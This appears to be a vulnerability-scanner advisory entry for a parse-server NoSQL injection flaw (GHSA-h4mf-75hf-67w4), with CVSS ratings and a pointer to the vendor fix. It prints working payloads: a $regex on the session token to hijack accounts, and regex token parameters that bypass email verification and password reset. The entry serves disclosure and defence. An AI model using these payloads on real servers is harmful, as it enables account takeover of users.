QID 983118

QID 983118: Nodejs (npm) Security Update for parse-server (GHSA-h4mf-75hf-67w4)

1. you can fetch all the users' objects, by using regex in the NoSQL query.
Using the NoSQL, you can use a regex on sessionToken `("_SessionToken":{"$regex":"r:027f"}}` and find valid accounts this way.

Using this method, it's possible to retrieve accounts without interaction from the users.

GET /parse/users/me HTTP/1.1
```
{
"_ApplicationId": "appName",
"_JavaScriptKey": "javascriptkey",
"_ClientVersion": "js2.10.0",
"_InstallationId": "ca713ee2-6e60-d023-a8fe-14e1bfb2f300",
"_SessionToken": {
"$regex": "r:5"
}
}
```
When trying it with an update query the same thing luckily doesn't seem to work:
POST /parse/classes/_User/PPNk59jPPZ

2. There is another similar vulnerability in verify email and the request password reset.

If you sign up with someone else's email address, you can simply use regex in the token param to verify the account: `http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&[email protected]`

The same thing can be done for reset password: `http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&[email protected]`

You may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.

  • CVSS V3 rated as Medium - 5.3 severity.
  • CVSS V2 rated as Medium - 5 severity.
  • Solution
    Customers are advised to refer to GHSA-h4mf-75hf-67w4 for updates pertaining to this vulnerability.
    Vendor References

    CVEs related to QID 983118

    Software Advisories
    Advisory ID Software Component Link
    GHSA-h4mf-75hf-67w4 parse-server URL Logo github.com/advisories/GHSA-h4mf-75hf-67w4